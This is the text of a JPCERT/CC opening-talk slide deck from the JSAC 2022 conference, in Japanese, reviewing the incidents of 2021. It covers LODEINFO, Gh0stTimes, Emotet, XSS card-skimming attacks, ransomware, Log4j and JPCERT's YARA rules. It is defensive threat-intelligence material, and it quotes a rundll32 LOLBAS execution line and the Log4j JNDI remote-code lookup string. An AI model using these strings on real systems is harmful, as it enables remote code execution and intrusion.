Japan Security Analyst Conference 2022
(オープニングトーク)

2021年のインシデントを振り返る
JPCERTコーディネーションセンター
インシデントレスポンスグループ
2022年1月27日
椎木 孝斉

2大攻撃タイプ

1

標的型

ばらまき系

(組織内情報の窃取を目的とした攻撃)(金銭の窃取を目的とした攻撃)

Copyright ©2022 JPCERT/CC All rights reserved.

標的型攻撃2

Copyright ©2022 JPCERT/CC All rights reserved.

LODEINFO

3

Copyright ©2022 JPCERT/CC All rights reserved.

バージョンの変化
2019/12-2020/12

2021/01-/02

v0.1.2-v0.4.6

v0.4.82021/01

v0.4.74(2021/11v0.5.6)

Copyright ©2022 JPCERT/CC All rights reserved.

2021/04-/05

v0.4.9起動方式の変化

DLLサイドローディング(v0.3.x)

2. 作成
& 実行

1. 作成

3. ロード正規ファイルLODEINFO
5Copyright ©2022 JPCERT/CC All rights reserved.

DLLサイドローディング
LOLBAS経由(v0.4.x)

実行: rundll32.exe advpack.dll,RegisterOCX<実行ファイルのパス>

2. 作成
& 実行

1. 作成

3. ロードLODEINFO
正規ファイルコマンドの変化
v0.4.6•cd, ls•send, recv
•cat•memory•kill•ver•command•print•rm•ransom•keylog•mv, cp, mkdir•ps, pkill

v0.4.7-v0.4.9•cd, ls•send, recv
•cat•memory•kill•ver•command•print•rm•ransom•keylog•mv, cp, mkdir•ps, pkill

v0.5.6•cd, ls•send, recv
•cat•memory•kill•ver•command•print•rm•ransom•keylog•mv, cp, mkdir•ps, pkill•comc•autorun•(config)

6

Copyright ©2022 JPCERT/CC All rights reserved.

( ): コマンドのみの追加(機能は未実装)

BlackTech
7

Copyright ©2022 JPCERT/CC All rights reserved.

Gh0stTimes (Gh0stRATとの類似性)

8

Gh0stTimes(CFileManager)

Copyright ©2022 JPCERT/CC All rights reserved.

Gh0stRAT(CFileManager)Gh0stTimes のパネル(Times)

9

Copyright ©2022 JPCERT/CC All rights reserved.

ばらまき系攻撃10

Copyright ©2022 JPCERT/CC All rights reserved.

Emotet11

Copyright ©2022 JPCERT/CC All rights reserved.

Emotet テイクダウン

12

Copyright ©2022 JPCERT/CC All rights reserved.

Emotet 再始動

13

Copyright ©2022 JPCERT/CC All rights reserved.

EC サ イ トの ク ロ スサ イ
トスクリプティング脆弱性を悪用した攻撃
14

Copyright ©2022 JPCERT/CC All rights reserved.

攻撃の流れ15

Copyright ©2022 JPCERT/CC All rights reserved.

管理者アカント情報の窃取

XSSを狙った不正な注文

情報窃取用JavaScript
16

Copyright ©2022 JPCERT/CC All rights reserved.

クレジットカード情報等の窃取攻撃の流れ

17

Copyright ©2022 JPCERT/CC All rights reserved.

情報窃取用JavaScript

情報送信用JavaScript

侵入型
ランサムウェア攻撃18

Copyright ©2022 JPCERT/CC All rights reserved.

JPCERT/CCで報告を受けたランサムウェアの例
Magniber

Ryuk

EikingSnatchHive

Medusalocker

AvaddonLockbit

Ragnar Locker
19

Copyright ©2022 JPCERT/CC All rights reserved.

AgeLocker

AvosLocker

情報発信(FAQ)

20

Copyright ©2022 JPCERT/CC All rights reserved.

Apache Log4jの脆弱性(CVE-2021-44228)を悪用する攻撃
21

Copyright ©2022 JPCERT/CC All rights reserved.

攻撃シナリオ
攻撃文字列の送付${jndi:ldap://<攻撃JavaコードのURL>}Log4j

攻撃者

Lookup機能

Internet
攻撃Javaコード
22

Javaで書かれたシステム

ダウンロード（JNDI利用）

Copyright ©2022 JPCERT/CC All rights reserved.

Java

攻撃コード実行ログ

攻撃観測状況

Apache Log4jの脆弱性を悪用しようとするアクセスの観測状況(JPCERT/CCのハニーポット観測: 2021年12月10日〜2022年1月19日)
23

Copyright ©2022 JPCERT/CC All rights reserved.

分析ツール（公開プロジェクト）
24

Copyright ©2022 JPCERT/CC All rights reserved.

JPCERT/CC Yara Rule (Just Released!)25

8 categories

Copyright ©2022 JPCERT/CC All rights reserved.

135 rules

ラッキービジター詐欺

26

Copyright ©2022 JPCERT/CC All rights reserved.

Lucky-Visitor-Scam-IoC

ラッキービジター詐欺のC2を自動監視
IoCをGitHubで公開(日次アップデート)

27

Copyright ©2022 JPCERT/CC All rights reserved.

Hybrid & 2DaysOnline`

28の楽しみ方

Copyright ©2022 JPCERT/CC All rights reserved.

1st Day(1/27): Conference Day
分類A29

タイトル

Ambiguous Black: The current state ofBlackTech’s arsenal

A

LuoYu: Continuous Espionage Activities
Targeting Japan with the new version ofWinDealer in 2021

A

Emotet vs EmoCheck: Emotet開発者との戦
いA/D

Crazy Journey: Evolution of Smoky
CamouflageB

ma2tl: macOS Forensics Timeline
Generator Using mac_apt Analysis Results

Copyright ©2022 JPCERT/CC All rights reserved.

分類

タイトル

DAn Order of Magnitude Update

D

国内悪性プロキシサービスとの闘争

D

カオス化する A41APT キャンペーンに対して私達ができること

D

日本にシェアが集中するCMSを狙う特異な攻撃者と侵害ツールの調査[A] マルウェア関連[B] フォレンジック関連[C] インシデント調査・対応事例・攻撃手法[D] 脅威動向・インテリジェンス

2nd Day(1/28): Workshop Day
分類

タイトル

W[B]

An Introduction to macOS Forensics with Open Source Software

W[A/C]

YARA Pretty Darby: Hunt the Spider like a Champ[A] マルウェア関連[B] フォレンジック関連[C] インシデント調査・対応事例・攻撃手法

30

Copyright ©2022 JPCERT/CC All rights reserved.

交流の場Powered by31

Copyright ©2022 JPCERT/CC All rights reserved.

フォローアップイベント
イベント名: After JSAC2022
開催形式: オンライン
日時: 2/18(金) 16:00 - 17:00
内容(予定):
1. ベストスピーカー発表
2. JSAC2022 振り返り
3. 最近のインシデント対応の悩みのディスカッション
4. JSAC2023に向けて
32

Copyright ©2022 JPCERT/CC All rights reserved.

Code of Conduct

33

https://jsac.jpcert.or.jp/coc.html

Copyright ©2022 JPCERT/CC All rights reserved.

Thank you!
34

Copyright ©2022 JPCERT/CC All rights reserved.